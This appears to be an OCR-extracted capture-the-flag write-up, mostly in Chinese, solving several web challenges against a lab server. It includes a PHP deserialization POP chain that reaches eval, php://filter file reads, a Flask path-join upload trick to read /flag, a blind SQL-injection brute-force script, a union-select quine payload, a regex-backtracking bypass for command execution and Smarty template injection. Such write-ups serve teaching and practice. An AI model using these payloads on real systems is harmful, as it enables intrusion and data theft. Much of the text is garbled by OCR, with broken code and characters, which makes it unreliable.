structures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <

class 'werkzeug.datastructures.FileStorage'>, <class 'email.LazvImporter'>, <class 'calendar.Calendar'>, <class



'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.w
rappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'
>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formpar
ser.MultiPartParser'>, <class 'werkzeug.wrappers.base request.BaseRequest'>, <class 'werkzeug.wrappers.base_resp
onse.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkz
eug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixi
n'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <cla
ss 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.
useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request
.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.Resp
onseStreamMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test. TestCookieResponse'>, <typ
e ' _json.Scanner'>, <type '
'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'markupsafe._MarkupEscapeHelp
er'>, <type 'cPickle.Unpickler'>, <type 'cPickle.Pickler'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.u
tils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>,
<class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <c

_Jjson.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder

lass 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.idtracking.Symbols'>, <class 'ji

nja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'n
umbers.Number'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runti
me.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal._ContextManager'>, <c
lass 'decimal.Context'>, <class 'decimal. WorkRep'>, <class 'decimal. Logl@Memoize'>, <type '_ast.AST'>, <class

'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.1l
exer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Env
ironment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.e
nvironment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaselLoader'
>, <class 'difflib.HtmlDiff'>, <class 'uuid.UUID'>, <type 'CArgObject'>, <type ' ctypes.CThunkObject'>, <type '_

' _ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.Li

ctypes. CData'>, <type ' ctypes.CField'>, <type
braryLoader'>, <class 'subprocess.Popen'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.Rule
Template'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.M
apAdapter'>, <class 'werkzeug.local.lLocal'>, <class 'werkzeug.local.lLocalStack'>, <class 'werkzeug.local.lLocalMa
nager'>, <class 'werkzeug.local.LocalProxy'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._ FakeSign
al'>, <class 'flask.helpers.locked cached _property'>, <class 'flask.helpers. PackageBoundObject'>, <class 'flask
.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'itsdangerous._json. CompactJSON'>, <class 'itsdan
gerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializ
er'>, <class 'itsdangerous.url safe.URLSafeSerializerMixin'>, <class 'flask.config.ConfigAttribute'>, <class 'fl
ask.ctx._ AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json
.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class

'flask.wrappers.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'werkzeug.debug.repr._Helpe
r'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <class 'werkzeug.debug.repr.DebugReprG
enerator'>, <class 'werkzeug.debug.console.HTMLString0'>, <class 'werkzeug.debug.console.ThreadedStream'>, <clas
s 'werkzeug.debug.console. ConsolelLoader'>, <class 'werkzeug.debug.console.Console'>, <class 'werkzeug.debug.tbt
ools.Line'>, <class 'werkzeug.debug.tbtools.Traceback'>, <class ‘'werkzeug.debug.tbtools.Group'>, <class 'werkzeu
g.debug.tbtools.Frame'>, <class 'werkzeug.debug. ConsoleFrame'>, <class ‘'werkzeug.debug.DebuggedApplication'>, <
class 'werkzeug. reloader.ReloaderLoop'>, <class 'email.feedparser.BufferedSubFile'>, <type 'unicodedata.UCD'>,
<type 'array.array'>, <type 'method-wrapper'>".split(", ")
gq=0
for i in a:

print(qg,1i)
q+=1



<type 'generator's>

<type 'getset_descriptor'>
<type 'wrapper_descriptor'>
<type 'instance'>

<type 'ellipsis

<type 'member_descriptor's>
<type 'file'>

<type 'PyCapsule'>

<type 'cell'>

<type 'callable-iterator'>

<type 'iterator'>

B % payload

secret?secret=.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C27%8D%C2%B8%C2%97%0B%C2%9EF%3B7%C2%88m%C2%AEM5%C2%967%3D%C
2%9D%5B%C3%987%C3%AA%12%C2%BA%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F %C2%AE%097%C2%A0%C2%AEYS%2A%C2%A2d%7
C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0OA%23%C3%B1%5B%C2%9Cp%C2%AEN%C2%961%5DVv%7 FX%C2%92

babyserialize

<?php

include "waf.php"

class NISA
public ="show_me_flag"
public
public function __ wakeup

if ->fun=="show_me_flag"
hint

function _ call
->fun= (%]

public function __ toString

echo ->fun

return
public function __invoke

checkcheck ->txw4ever

@eval ->txwdever

class TianXiWei
public
public
public function __ wakeup



$this->ext->nisa($this->x);

class Ilovetxw{
public $huang;
public $su;

public function _ call($funi,$arg){
$this->huang->fun=$arg[e];

public function _ toString(){
$bb = $this->su;
return $bb();

class four{
public $a="TXWA4EVER";
private $fun="abc';

public function _ set($name, $value)

{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
¥
¥

if(isset($_GET['ser'])){
@unserialize($ _GET['ser']);

telse{
highlight_file(_ FILE_ );

¥

//func checkcheck($data){

// 1if(preg_match(...... )L
// die(something wrong);
/7 }

//}

//function hint(){

// echo "....... "
// die();

//}

?>

—ANE KR FEAIL, popBEIEHE IFER, A D AHLRE TianXiWei::  wakeup() , HH&AEL/R NISA: invoke() ,

HEWEHexptl F



<?php

class NISA{
public $fun;
public $txwdever;

¥

class TianXiWei{
public $ext;
public $x;

¥

class Ilovetxw{
public $huang;
public $su;

¥

class four{
public $a="TXW4EVER";
private $fun='abc';

¥

$nl=new NISA();

$n2=new NISA();

$t=new TianXiWei();

$i=new Ilovetxw();

$f=new four();

$n2->txwdever="echo scandir('/')[6].scandir('/')[7].scandir('/')[9].scandir('/')[8].scandir('/')[5];";
$i->su=$n2;

$n1->fun=$i;

$f->a=$n1;

$t->x="sixsixsix";

$t->ext=%$F;
echo urlencode(serialize($t));

X By PAT IR T waf, T HERBEWR, &5 HscandirllEA K% X IRIE] T flag iS4

« - @ C O 8 1.1471.254:28872/?ser=0%3A9%3A TianXiWei"%3A2%3A{s%3A3%3A" ext" %3B0%3A4%3A four" %3A2%3A(s%3A1%3A™a"%3B0%3A4%3A NISA %3A2%3A{s%3A3%3A fun" %3t B 120% O

& Des Doz DfE DesssTe D2 Oreessms OsE Dess OxgEz O asss Dages Dotubiss DmEEms D=psTs D@kss Den Desen Dseesos O

flllllaaaghomemedialibetc

S5 T il copy iy & B SCHFRAT T

copy('/fllllllaaag','1l.txt");



$n2->txwdever="copy('/f111111laaag",'1.txt"');";

$n1->fun=%$i;

$f->a=%n1;

< = @ C O B 1.1471.25428872/1.1xt
L Dus Desmn D88 DEsssTE Dase Dxwesnms Dt Deses DamEg Ooagss Dxgrs Ogih

NSSCTF{54%ba74c-5464-4c52-83243-b4130=24b5404}

FHEXEET —TETMH KRINGERZEMphpRAER, TRAZ5TEphpEAERFIA, &
payload#n

echo new GlobIterator(\"/f*\");
E3 =S

->txwdever = "echo new SplFileObject(\"php://filter/convert.base64-encode/resource=/fll1111aaag\");";
B

easyssrf
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file:///flag

CURL

R TXBEAR T flag. . BETUEERTXM: /fldag



fileth S SCIF B R, R /flag

POURABIREN £ sskeskix

1L FR{REZIREY
ERIAZECURLAIRILS

CURL

file:///flag BIREBUI T :

RRLiZE AR [ index.php, AL T haixiuxiu.php

R A ha1x1ux1u.php X 4

« > @ ¢ O 8 1.1471.254:28881/halxluxlu.php
& Der Dmemy DEE OmsssTsE DaEws Dxkseme D Dese DxwEE Dpamsms Dxggs D githubls

—

<{?php

highlight file( FILE ):
error reporting(0) ;

$file = §$ GET["file”];
if (stristr($file, “file”)){
die("fRM 1. ") ;

lag in /flag

f
echo file get contents($§file):

IR —TERE



« - @ ¢ O 8 1.14.71.254:28881/halx1uxiu.php?file=php://filter/read=convert.base64-encode/resource=/flag
L Des Deses DEE DesssETE DeEe Dxeswms DR Dese DxmEE DaeaEss Dases Dothbbms DiEEm: DEXTE DIEsE Dis

&=

<{?php

highlight file( FILE ):
error reporting(0):

$file = $_GET["file"];

if (stristr($file, “file”)){
die CHKT. ")

}

flag in /flag
echo file get contents($file); TINTQ1RGezE2NzNmNTYyLWVhYTYtNDIwMiO4MWVILTISMTc1ZTIjNDEXMHOK

< = Url @ X MD5 X Base EFIE|E X Quoted-printable %883 X Shellcode 8|8 X Sgl |8 X Te >

Base ZAIFE 1@

Type

Base 64 -

NSSCTF{1673f562-eaab-4202-81eb-29175e9¢4110}

TINTQ1RGezE2NZNmNTYyLWVhYTYtNDIwMi04MWVILTISMTc1
ZTIjNDEXMHOK

B, HiEfilterd JESF ST, T HXEBBEEESSREW, H— iR

babyupload

“ = @ O & view-source:http://1.14.71.254:28674/
Z DeEzx Deesmy DEE DesesTsE D= DxeEams DeE Dese DHwmsE D4AR

[t}

{!DOCTYPE html>
<html>
<body>
<form action="/upload” method="post” enctype="multipart/form-data”>
Select image to upload:
<input type="file” name="file">
<input type="=ubmit” walue="Upload File" name="=submit”>
</form>
{!— /=source ——»
</body>
</html>

TR YRS, 5 nlsource #4E



| < | 12EY © www.zip - Bandizip (Standard)

1@ s =B EamweeTs | SUHP SEE S0 RE0) WEV) TAEM #EH)

B B B

v

BiR
.app.py

]
L]

1

== r i RN 23
910 1,950 Python File

L, 30 0, RIS/ 1020 S5

1 > JkEsBE > Windows-SSD (C) > FJ UjL| @
- " ER : 17 WE
o HRIEIGF] £3 MagicEXiFzc] 236132if gy oo
@ OneDrive - Person S MS-DOS.ovazip
£3 pikachu-master.zip
L WPSRIE £3 probo1_lwzltdrajur1 50|
& EssiE £3 prob02_dbkw1hg2njeq
ﬂ shorter.zip
7= = ik ﬂ Snipaste-2.6.6-Beta-x64
? b EDEEd £3 sqlmap-1.5.zip
E wa &3 sqlmapproject-sqlmap
yal = BR £3 tweakpng-1.4.6.zip
TR ﬂ tz.zip
- § T £3 unipus_helper_v0.9.0.zi
b aF £3 voID-3.5.1.7ip
“ WEB.md
d = == £ wep.zip
% Windows-SSD (C P winhex.zip
- Data (D7) v ﬂ www.zip
49MRE ¥R 1 NRE 1020 F5
hardsql

THRAE—Apython3C 4, v LAAIEX R — MaskI H, XHLFFHE T BRI

from flask import Flask, request, redirect, g,
import sqlite3

import os

import uuid

app = Flask(__name_ )

SCHEMA = """CREATE TABLE files (
id text primary key,

path text

)s

def db():

g db = getattr(g,
if g db is None:

_database', None)

send_from_directory

g db = g. database = sqlite3.connect("database.db")

return g_db

@app.before_first_request

def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript (SCHEMA)

@app.route('/")
def hello_world():
return """<IDOCTYPE html>
<html>
<body>

<form action="/upload" method="post" enctype="multipart/form-data">

Select image to upload:



<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""

@app.route('/source")
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)

@app.route('/upload', methods=["'POST"'])
def upload():
if 'file' not in request.files:
return redirect('/")
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()

file.save('uploads/' + file.filename)
return redirect('/file/' + uid)

@app.route('/file/<id>")
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404

# print(res[0])

with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()

if _name__ == ' main__ ':
app.run(host="'0.0.0.0"', port=80)

with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()

FEFAERXE



5. BT IREHHE
TR

os.path join(path, “paths) BE A THRES M HBEEER —THalEE. S SHEREATERBE, MBS 1225

WEHHHEREMEES.

7, ETEEE—MOE AT, MRHENEEEL /%, AaEEMBEEENREREEEEREREER, BEER

FEASITEE. RN 7T 2SI EERa= M EH.

1

[ S

58 347, (£ os.path join BRENSAFBARHSEIEHERES. &8 47, HEERNEEESaS ", BLEHAREER

WER YL, FRATikres[0LR /flag AT T

Bup WE WiFE E&E #FO #m

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer

1 = 2 3 o 4 = 5 B o= T o= & =

Logger Extender

Project options User options

Him: httpy//1.14.71.254:28674 7 (7)

K MRy

Pretiy WE=E \n  Actions v 3|‘e‘.'.;.R5|“:I5|‘ \n

5 Accept-Language:
zh—-CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK; g=0. 5, en-US; g=0. 3, en;
q=0. 2

& Accept-Encoding: gzip, deflate

7 Content-Type: multipart/form-data;
boundary= 172024425542284867
842956007899

& Content-Length: 161593

9 0rigin: http://1.14. 71, 254.: 28474

10 Connection: close

11 Referer: http://1.14.71. 254:28674/

12 Cookie: PHPSESSID=fea595009abeB8948b50b932370951016;
nctf2018=wheret+is+flaghdF

13 Upgrade-Insecure-Requests: 1

14

15 1720244255422848678429560
07899

16 Content-Disposition: form-data; name="file"; filename=
"/flag"

17 Content-Type: image/ jpeg

18

19 OO0 aJRIFCICG
1*$"$00c0I0° C"00000000 6 OISO “plm

K InC 1300k 1® Tl a kNI dC 1IN 881%™ LG

ACI&iI3C]S

20 LU em] LI CIx=VOC]JU

21 % 10K Jaé 2z ] JHCLNFCI I CIDe™ N p; ] " w" 1]

PTaujllorn]aUjlly9 10100000 6 p; CICICITIC]" 6 110

Actions v

QEIEE wsmm ()0 [«

Search...

Search...

EEET

BB

HO123dSNI



Burp HIE MiEE =HESE #O F9

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options
1 = 2 = 3 = 4 = 5 = & = T = 8 =
m wE |(<I7] [ mzs=m | Bim httpy/1.14.71.254:28674 2 (7)
% Wi el
Preity WEE=S \n  Actions v GO F% Render \n  Actions v E
7 Content-Type: multipart/form—data; 1 HTTP/1.0 302 FOUND 3
boundary= 172024425542284867 7 Content=Type: text/html; charset=utf-8 8
842956007899 3 Content-Length: 282 =
8 Content-Length: 161588 4 Location: I'lttp://1. 14.71. 254:28674/F i le/2d71babca3004f9489
7 Origin: http://1.14.71. 254:28674 5 Server: Werkzeug/2.0.3 Python/3.7.10
10 Connection: close 6 Date: Thu, 31 Mar 2022 13:42:57 GMT
11 Referer: http://1.14.71. 254:28674/ 7
12 Cookie: PHPSESSID=fea595009abeB8948b50b932370951016; 8 <IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
nctf2018=where+is+flagh3F 9 <title>
13 Upgrade-Insecure-Requests: 1 Redirecting. ..
14 <ftitle>
15 1720244255422848678429560 10 <h1>
Q7899 Redirecting. ..
16 Content-Disposition: form-data; name="file"; filename= <Ah1e
“/flag" 1 <p>
17 Content-Type: image/jpeg You should be redirected automatically to target URL: <a
18 . If not click the link.

19 OO0 a JFIFCICG
M$"$O0cO0° O"OO0O0OO00dd ¢ OsOdct 1 "plm
CIKCICIn ™ *300k " T a k0 IV _&@ 001%™ LG
AC]&i31S

20 U e m] I Cx-VOLI U

21 L% 0K Jaé 21T IHC L NFLI IO CIp@ ™ N Tps ] w" 1]
b o Y - - A S - T = [0
goOO000=<OTOO{O0O0+00d
CRO0CO00 sedyCIR & 190 1-KCICIZX & "o/ CINCICI O Cnk &
-O"sd 0000 0-000s0) é @4 e, ke 100
LTI J9 T ETPEN+T LT X L1150 Tww & p/w §

®@ |i”j|| Search... REIE ®@ |t||j|| search... nEE

ek 5143 | 268D

« > @ C O 8 1.1471.254:28674/file/2d71babca300419489d2fc4624e7ch02

n DezE Dmsms Deda DesesTs Dasse Dxesems Dee Desms Damsg Doaesses Dxees Dokt DEEms O

NSSCTF{d1f4582e-4d12-4863-ac76-b1a0eedad9d1}

hardsql

B H A -

$password=$_POST[ 'passwd’'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";

B H MR EERIEFE R R, HEMT LT —/EKwaf
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THBHE, #RRE, BRBRmeELslag, FURAEEEANT, REMOEEIEEERT

@ 1.14.71.254:28042

only bilala can login

HEt R AR P bilala



Burp HIE MiEE =S #O w0

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options
1><|2><|3><|4><|5x|6x|7x|3x|9x|ll]x|11x|
| BGE |m| >|v| Bi= httpy/1.14.71.254:28042 2 (7)
- s |
ﬂ-_ B == Render \n Actions v z
1 POST /login. php HTTP/1.1 1 HTTP/1.1 200 OK M
Z Host: 1.14.71. 254:28042 2 Server: nginx/1.18.0 3
3 User-Agent: Mozilla/5.0 (Windows NT 10.0: Winbd; x64; 3 Date: Fri, 01 Apr 2022 13:54:39 GMT =
rv:98.0) Gecko/20100101 Firefox/98.0 4 Content-Type: text/html; charset=UTF-8
4 Accept: 5 Connection: close
text/html, application/xhtml+xml, application/xml;q=0.9, ima ¢ X-Powered-By: PHP/7.3.22
ge/avif, image/webp, ¥/%;9=0. 8 7 Content-Length: 61
5 Accept-Language: 8
zh—CN, zh;q=0. 8, zh-TW;g=0. 7, zh-HK ; g=0. 5, en-US;g=0. 3, en;g=0 9 <{script>
.2 alert('waf here');
& Accept-Encoding: gzip, deflate location. href="index. php';
7 Content=Type: application/x—www—Fform-urlencoded </seript>
B Content-Length: 54
9 Origin: http://1.14.71. 254:28042
10 Connection: close
11 Referer: http://1.14.71. 254:28042/
12 Cookie: PHPSESSID=fea595009abe8948b50b932370951016;
nctf2018=where+is+flaghdF
13 Upgrade—Insecure-Requests: 1
14
15 username=hbilaladpasswd=admin'&login=%E7%99%BBLES%BD%95
@k (€[] [ search- garE (D0 (][> searcn.. SErE
£ 244735 | 65ERD
ftEwaf, fuzz—TF

Wattack of 1.14./7.£24 -

lemporary attack - Not saved to project hile

Results Target Positions Payloads Resource Pool Options
wigss: ETAREEE
R EaET b Hi= =E ~ e

EEEEEEEEEEEEEEEEEEEEEEE
O 0000000 I 0 I I @




249
249
249
249
249
249
249
249
249
249
249
249
249
249

13 BEMCHMARK
14 limit

16 zelect

21 #

7 -

28 -—
a0 -
32 !

SEYEEEEEEEEEEE
DooooooooooooogoooCC oo

OO0O0O00000000000CICIC I JC 000300000000 JC I JC 00030 JC 0 e J0 e Je e JeJe e e

Request Response

SIEBE AL, FEE—THRIAEENTR
G KR #gbanT , T HEHABEH RS T
X BE LA FAECES, Hllike, T H 2B H%4 passwd M1FEA users K]



wE EF

Results Target Pasitians Payloads Resource Pool Options

s ETHRERE

B aaEE brvd £is 2t wE
0 200 ] [] 250
34 b 200 ] [] 250
1 0 200 ] [] 249
2 1 200 O [] 249
3 2 200 O [] 249
4 3 200 O [] 249
5 4 200 O [] 249
6 5 200 O [] 249
7 6 200 O [] 249
B 7 200 O [] 249
9 B 200 O [] 249
10 9 200 O [] 249
1 q 200 O [] 249
12 N 00 [ [ YT
Request Response

ZEWE Ei)  Render \n Actions v

JUate: Fri, Ul APr ZUZZ 14:Uo:D/ GMI

4 Content-Type: text/html; charset=UTF-8
5 Connection: close

& X-Powered-By: PHP/7. 3. 22

7 Content-Length: 67

]
9 <script»
alert("wrong password') ;
location. href="index. php';
</script>
OL:E | search.. RELE
[

BRI UL RE 258 — iz b
H -/ pythonfi{i 4= il — T 2514
import requests

url = "http://1.14.71.254:28042/1login.php"’
dict '0123456789qwertyuiopasdfghjklzxcvbnm-"
flag = "'

for j in range(50):

for i in dict:
data = {
"username": "bilala",

"passwd": f"-1'/**/or/**/passwd/**/1like/**/'{flag+i}%"#"

¥
# print(data)
res = requests.post(url=url, data=data)
# print(res.text)
if 'nothing found' not in res.text:
# print(i)
# print(res.text)
flag+=i
print(flag)
break




requests

res = requ

'nothing found'

flag+=1i

n dict

EHN

b2f2d15b3ae0@82ca29697d8dcd420fd7

« > @ C QO 8 o 1.1471.254:28042/login.php 8 o20% Oy " |

& DOEpsE Desps Dee Desssrs Dess O=eesm: Dee Dese Daszg Ooaess Dxees Dotheets DzEms DEgsTa Dzgss DeEs Osssr Osesss DEg O

{?php

include_once (“config. php”) ;
function alertMes ($mes, $url) {
die (“<scriptralert(’ {$mes}’ ) :location. href=" {$url}’ ;</script>");

function checkSql ($s)

if (preg_match(”/if |regexp|between in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;[\\\$|char|\x0a|\x09|cc
alertMes('waf here’, index.php’);
if (isset($ _POST[ username’]) && § POST['username’] != '’ && isset(§ POST[ passwd ]) && $ POST[ passwd’] != ")
$username=$_POST[’ username’ ];
$password=$_POST[ passwd’ 1;
if ($username !== ’'bilala’) {
alertMes(’only bilala can login', ’index.php’);

checkSql ($password) ;
$sql="SELECT passwd FROM users WHERE username= bilala’ and passwd="$password ;:”;
$user_result=mysqli_query (§MysqlLink, $sql);
$row = mysqli_fetch array($user result);
if (!$row) |
alertMes (" nothing found’,” index.php’);

Aif ($row[ passwd’] === $password) |

I
if($password == ' h2f2d15h3ae082ca?9697d8dcd420fd7’ ) {
show_source(_ FILE_ );
die;
‘else{
die ($FLAG) ;
else ‘

alertMes("wrong password”,’ index. php');

Fhfidt L E IR, HEiz R diE



X B & Fflag i) &1t R A A b2f2d15b3ae082ca29697d8dcd420d7 H AL B FE AT, X AR Abuu b KFREF I, Freplace
14 3 A8 171 B % N Ay

BEZEA & KpayloadkRiT—TF

'/**/union/**/select/**/replace(replace("'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%" )#",0x22
,0x27),0x25, '"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25, "%")#")
WAE J7 Kpayload

Burp IE MEE =EEE B0 Fo

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options
1 = 2 = 3 = 4 = 5 = [ T = 8 x 9 x 10 = 11 =
E o= [ < v] HiF: httpy//1.14.71.254:28042 @
= m —
¥ i K 'II -
Preity WEFE \n  Actions v UGN [Fi Render \n  Actions v E
1 POST /login.php HTTP/1.1 1 HTTR/1.1 200 OK o
2 Host: 1.14.71.254:28042 2 Server: nginx/1.18.0 g
3 User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64; 3 Date: Fri, 01 Apr 2022 14:27:40 GMT =
rv:98.0) Gecko/20100101 Firefox/98.0 4 Content-Type: text/html; charset=UTF-8
4 Accept: 5 Connection: close
text/html, application/xhtml+xml, application/xml;q=0.9, ima & X-Powered-By: PHP/7.3. 22
ge/avif, image/webp, */%;9=0. 8 7 Gontent-Length: 45
5 Accept-Language: 8
zh—=CN, zh;g=0. 8, zh-TW;g=0. 7, zh-HK;q=0. 5, en-US;q=0. 3, en;q=0 9 NSSCTF {2abe2588-a1fd-41a1-823e-18078%9c2c1c0}
2 10

& Accept-Encoding: gzip, deflate

7 Content-Type: application/x-www—form—urlencoded

8 Content-Length: 241

9 Origin: http://1.14.71. 25428042

10 Connection: close

11 Referer: http://1.14.71.254:28042/

12 Cookie: PHPSESSID=fea595009abeB8948b50b932370951016;
nctf2018=where+is+flagh3F

13 Upgrade-Insecure-Requests: 1

14

15 username=hi lala&passwd=
C/EE union/*®%/select/ ¥/ replace (replace (" /FF/union/¥¥/se
lect/**/replace (replace ("%", 0x22, 0x27), 0x25, "%")#"', 0x22, 0
x27),0x25, ' "/#¥/union/**/select/**/replace (replace ("%", Ox
22,0x2?),0x25,"%")#')F&Iogin=%E?%99%BB%E5%BD%95

@@ |E||§| | Search... EIE @@ |E||§| | Search... EEE
B2 2287 | 6RD

middlerce



include "check.php"
if (isset 'letter’
= 'letter’

if (preg_match('/~ *([\w][\*[\*[NCIN~INTIN2INZT INTIN&] TN\ [\{[\x@9|\x8a[\[).*$/m"

die("FEINICHE"

else
= json_decode ‘cmd'
checkdata
@eval

else
highlight_file(_ FILE _

/N FCOWT NIV INCINSINTIN2 IV T INFIN& PN [N [ \x@9]\x@a [ \[) . *$/m

X EAT LR A IE N E i geid, 7] BAS % https:/iwww.freebuf.com/articles/web/190794.html

requests

t(url=url, data={"letter": payload})

middleRCE
\Users\86185\AppData\Local\Programs\Python\Python318\python.exe C:/Users/86185/Desktop/Iaf

TF{58bfca 4b2-47ac-aee7-0ad0811a6913}

exp

/NSSRIFE/NISA/middleRCE. py




import requests

url = "http://1.14.71.254:28288/"

payload = '{"cmd":"?><?="tail /F* 2>","+":"' + '+' * 1000000 + '"}'
# print(payload)

res = requests.post(url=url, data={"letter": payload})
print(res.text)

midlevel

VVIilYy UoT

Do you need to get the public IP address ? Do you have the requirements to obtain the servers’ public IP address? Whatever the reason,sometimes a
public IP address API are useful.

*You should use this because:

* You can initiate requests without any limit.
* Does not record the visitor information.

APl Usage

- APIURI Type Sample Output
get IP http://1.14.71.254:28735/api text/html | 8.8.8.8
get XFF(X-Forwarded-For) http://1.14.71.254:28735/xff text/html 8.8.8.8

Connection

Request-Header

GET / HTTP/2.0

Host: www.ip.la

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh-TW;q=0.9,2h;q=0.8

Cache-Control: max-age=0

Dnt: 1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.6 (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.8.3729.131 Safari/537.36

Build With Smarty !

TH—F, RIBIAREEY, BUULHE —EEALKsmartylEN, ik
RAEFEEEIT—TF



Burp IHEH WMiEE =ERE O EBH

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options
1 = 2 x 3 x 4 x 5 x 6 x T = 8 x 9 x 10 =
& - < BiF: http://1.14.71.254:28735 7 (2)

= m —
EEx TR c =
Pretty [ER= \n  Actions w JEGE [Fis Render  \n Actions w m =

1]
1 GET / HTTP/1.1 12| </head> :
2 Host: 1.14.71.254:28735 13 <body> B o a
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; 14| <div class="container™> =
rv:98.0) Gecko/20100101 Firefox/98.0 15 <div class="row">
4 Accept: 16 {div style="float: left;">
17 <hl>

text/html, application/xhtml+xml, application/xml;q=0.9, ima

ge/avif, image/webp, ¥/%;9=0. 8 IP
5 Accept-Language: </ht> ) _
zh=CN, zh; =0. 8, zh-TW: q=0. 7, zh-HK; g=0. 5, en-US; g=0. 3, en;q=0 '8 <h2 class="hidden-xs hidden-sm">
2 A Simple Public IP Address API
</h2>

6 Accept-Encoding: gzip, deflate )
7 X-Forwarded—For: {7%7) 19 divy

3 Connection: close 20 {div style="float:right;margin—top:30px;">
9 Cookie: PHPSESS|D=fea595009abe8948b50b932370951016; Current [P:49
nctf2018=where+is+f |agh3F </div>
10 Upgrade—Insecure—Requests: 1 2 div>
11 Cache—Control: max—age=0 22 .
12 23 {div class="why row">
13 24 <{div class="col-xs—12">
25 <h2>
Why use?
</h2>
26 {div class="row">
27 {div class="col-xs—offset-1 col-xs-10">
28 <p»
29 Do you need to get the public IP addres:
30 </p>
31 <p»
(N (€[ search.. | emme  ()£0: [« cuuren | mEnE

REARFTLL, R — T BB AIWTHE A HAT i<



Burp IHEH WMiEE =ERE O EBH

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options
1 = 2 x 3 x 4 x 5 x 6 x T x 8 x 9 x 10 =

